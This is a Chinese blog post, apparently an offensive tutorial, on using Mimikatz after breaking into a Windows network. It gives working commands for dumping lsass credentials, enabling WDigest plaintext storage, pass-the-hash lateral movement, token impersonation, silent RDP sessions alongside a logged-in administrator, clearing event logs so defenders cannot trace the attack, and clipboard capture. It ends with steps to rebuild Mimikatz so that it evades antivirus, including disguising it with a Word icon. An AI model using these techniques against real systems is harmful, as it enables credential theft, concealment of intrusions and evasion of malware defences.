内网渗透之某后渗透利用【网络安全】

0x01 工具介绍

工具原理

Mimikatz 的主要原理是在 Windows 系统中用户登录后系统会将身份凭证存储于lsass.exe进程的内存当中,Mimikatz 通过注入lsass.exe进程读取进程内存,从中获取对应的明文密码。

常见问题

在 Windows Vista 系统之后不再存储 LM HASH,而 Windows 8.1 系统之后内存中也不再存储明文密码,因此在高版本 Windows 系统中无法利用 Mimikatz 直接读取明文密码。Mimikatz 能获取明文密码的关键是 wdigest,这是一个可逆算法,相关注册表存储位置如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"(DWORD)

后续高版本的 Windows 系统不能读取明文是因为关闭了该注册表键,如果想要重新获取明文,只需要开启该注册表后再输入密码重新登录即可。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

给小伙伴整理了相对应的学习资料,如果你需要的话,我也可以分享一部分出来(涉密部分分享不了),需要的可以

👉 【一帮助安全学习一】👈点击领取256G网络安全自学资料

0x02 基础使用

常见用法

Mimikatz 的启动需要管理员/SYSTEM权限运行,默认情况下拥有 32 位以及 64 位版本,在 Kali Linux 中默认存放位置为/usr/share/mimikatz,大多数人使用 Mimikatz 一般只用到两个命令,而对其他命令不太了解,接下来会为大家全面介绍 Mimikatz 这款神器。

privilege::debug
sekurlsa::logonpasswords

也可以使用一句话输出保存

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"> pssword.txt

基本语法

使用命令可查看全部功能模块

::

image.png

调试进程修改运行权限为SYSTEM

privilege::debug
privilege:: #查看 privilege 的运行模块

image.png

开启日志记录,保存读取的用户凭证信息

standard::log

image.png

0x03 常用模块

Crypto模块

加密模块主要用于导出可导出的证书,利用 CryptoAPI 函数访问证书,相当于简化版的 certutil。有时候一张合法的证书非常有用,当利用合法证书生成木马程序时可能被杀软认做白名单程序从而不进行查杀。相关参数如下:

/provider #指定提供者
/providertype #指定提供类型
/cngprovider #CNG提供者
/export #导出密钥 PVK 文件

查看相关密钥的提供者

crypto::providers

image.png

查看当前系统存储信息

crypto::stores

image.png

常见的系统存储用户名包括:

  • CURRENT_USER

  • USER_GROUP_POLICY

  • LOCAL_MACHINE

  • LOCAL_MACHINE_GROUP

  • LOCAL_MACHINE_ENTERPRISE

  • CURRENT_SERVICE

  • USERS

  • SERVICES

指定系统存储为local_machine进行查看

crypto::stores /systemstore:local_machine

image.png

查看用户当前证书

crypto::certificates

image.png

导出 ROOT 根证书

crypto::certificates /store:Root

image.png

导出证书必须配合 store 参数。其中公钥为DER,私钥为PFX,密码为 mimikatz

crypto::certificates /store:Root /export

image.png

使用 CryptoAPI 打补丁,有时候证书无法导出可能就是补丁没有打

crypto::capi

image.png

使用 CNG 打补丁,用于导出未标记可导出的证书

crypto::cng

image.png

列出智能读卡器,可能会出现报错

crypto::sc

image.png

查看相关密钥

crypto::key

image.png

使用 OpenSSL 生成证书

openssl rsa -inform pvk -in key.pvk -outform pem -out key.pem

Sekurlsa模块

Sekurlsa 模块能从lsass.exe进程中提取 passwords、keys、pin、tickets 等用户凭据信息,是最常用到模块。查看所有身份认证信息,成功拿到用户明文密码

sekurlsa::logonpasswords

image.png

查看用户哈希可能会出现报错,这主要是由于当前权限较低

lsadump::sam

image.png

解决方法非常简单,只要以系统权限运行即可

process::runp

在新窗口中再次运行可成功拿到哈希
image.png

重置用户 NTLM 哈希会把哈希直接写入 SAM 数据库当中,因此执行该操作相当于重置密码,再次登录需要使用新密码进行登录

lsadump::setntlm /user:admin /ntlm:b2781ba85ac750ec286744b009599637

image.png

转储并导出lsass.exe进程

sekurlsa::minidump lsass.tmp

通过哈希传递进行横向移动

sekurlsa::pth /user:admin /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637
sekurlsa::pth /user:admin /domain:host1 /aes256:b2781ba85ac750ec286744b009599637

凭证管理器中可查看 Windows 凭证
image.png

Token模块

Token 模块主要用于查看、假冒现有 token。查看当前 token 信息

token::whoami

image.png

查看 token 列表并假冒系统管理员

token::list
token::elevate /NT AUTHORITY\SYSTEM

image.png

还原假冒进程

token::revert

image.png

其他模块

一般情况下重复登录远程桌面会导致已登录用户会直接退出或提示有其他用户登录
image.png

配合命令无提示登录远程桌面,该功能在 HW 中非常好用,即使管理员处于登录状态,我们仍能悄悄登录其他用户

ts::multirdp

image.png

成功登录原会话不受影响,使用命令查看会话列表

ts::sessions

image.png

虽然目前不会被已登录用户发现,但在事件查看器当中仍会存在登录日志
image.png

使用命令一键清除日志

event::clear

image.png

成功清除日志后蓝队工程师无法通过系统日志来还原攻击过程
image.png

安装/卸载 Mimikatz 服务,帮助我们监听用户输入

service::+
service::-

image.png

成功安装 Mimikatz 服务且已自动启动
image.png

比如监听粘贴文本

misc::clip

image.png

0x04 免杀利用

Mimikatz 作为最常用的黑客工具早已被各大安全软件标记,比如360杀毒、360安全卫士、卡巴斯基等。使用源码免杀能帮助我们绕过杀毒软件的查杀,这是一种基于特征码的免杀方式,只需定位到源码中的特征代码进行修改就可达到免杀效果,一般会定位三个位置,分别是代码、字符串和输入表。

准备环境

在免杀前需要准备以下三个要素:

  • Mimikatz 源码

  • Visual Stdio 2019(C++)

  • vc依赖文件

在 Github 中下载最新版的 Mimikatz

下载地址:https://github.com/gentilkiwi/mimikatz

image.png

更新 360 杀毒、病毒库为最新版本
image.png

配置问题

点击 Mimikatz 中的启动文件启动 Visual Stdio,在帮助菜单》关于〉查看许可证状态中输入激活证书可成功激活。而在 VS 2012 中如果出现报错信息(error MSB8020),解决方法为进入项目》属性〉常规》平台工作集中,将平台改为 VS 2012(v110)后即可成功运行编译。
image.png

选择生成出现报错界面,点击工具》获取工具和功能〉C++ 进行桌面开发》C++ Windows XP Support for VS 2017 v141,点击修改即可解决问题
image.png

下载安装完成后修改手工工具集为 2017 版本
image.png

在配置属性中的 C++ 中修改将警告视为错误改为否,否则每当出现错误就无法编译
image.png

重新生成又出现报错:MSB8036
image.png

在项目属性页选择已安装的 SDK 版本
image.png

点击重新生成后成功编译 32 位 Mimikatz
image.png

如果需要生成 64 位程序可在解决方案》配置属性选择平台为x64
image.png

点击重新生成成功编译 64 位 Mimikatz
image.png

免杀过程

步入正题选择项目 mimikatz 的编辑》查找和替换》在文件中替换
image.png

把关键字 mimikatz 所有的字符串替换为 macsec,点击全部替换即可
image.png

由于字符串全部被替换,导致引入 mimikatz 的文件名也被替换,因此需修改全部文件名为 macsec
image.png

点击重新生成后输出macsec.exe
image.png

虽然目前能够进行静态查杀,但是还是无法绕过动态查杀
image.png

image.png

进一步删除macsec.cmacsec.h的注释信息
image.png

再次重新生成程序使用360测试仍无法绕过动态查杀
image.png

macsec.rc中修改版本信息,把带有 gentilkiwi 的公司名修改为 macsec
image.png

修改图标macsec.ico为 Office Word 图标后再次点击生成
image.png

放入免杀环境再次运行即可成功绕过
image.png

当然命令也能够成功执行
image.png

完成免杀后可上传至云平台查杀测试,但一般不要这么做,云平台会标记免杀程序

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值